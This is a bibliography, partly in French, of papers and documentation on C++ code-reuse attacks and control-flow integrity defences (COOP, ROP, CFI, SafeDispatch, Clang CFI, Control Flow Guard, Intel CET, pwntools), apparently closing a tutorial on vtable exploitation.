- Luk Gaspard Schuster, Lucas Davi, Ahmad-Reza Sadeghi, "Counterfeit Object-Oriented Programming: On the Difficulty of Preventing Code Reuse Attacks in C++ Applications", IEEE S&P 2015
- Martin Abadi, Mihai Budiu, Ulfar Erlingsson, Jay Ligatti, "Control-Flow Integrity: Principles, Implementations, and Applications", CCS 2005
- Dongseok Jang, Zachary Tatlock, Sorin Lerner, "SafeDispatch: Securing C++ Virtual Calls from Memory Corruption Attacks", NDSS 2014
- Chao Zhang et al., "VTrust: Regaining Trust on Virtual Calls", NDSS 2016
- Victor van der Veen et al., "TypeArmor: Efficient Type-based Control-Flow Integrity", IEEE S&P 2016
- Volodymyr Kuznetsov et al., "Code Pointer Integrity", OSDI 2014
- Intel Corporation, "A Technical Look at Intel's Control-flow Enforcement Technology", 2020
- Itanium C++ ABI : documentation de référence sur la structure des vtables, mangling et RTTI
- pwntools documentation : docs.pwntools.com
- Documentation Clang CFI : clang.llvm.org/docs/ControlFlowIntegrity.html
- GCC Vtable Verification (VTV) : gcc.gnu.org (Instrumentation Options)
- Microsoft, "Control Flow Guard" : learn.microsoft.com
- Intel, "A Technical Look at Intel's Control-flow Enforcement Technology" : intel.com
- Hovav Shacham, "The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)", CCS 2007 (article fondateur du ROP, contexte indispensable)
- Spécification Itanium C++ ABI : itanium-cxx-abi.github.io (structure complète des vtables, mangling, RTTI)
- Documentation complète de pwntools : docs.pwntools.com (pour
ELF,p64,process,interactive)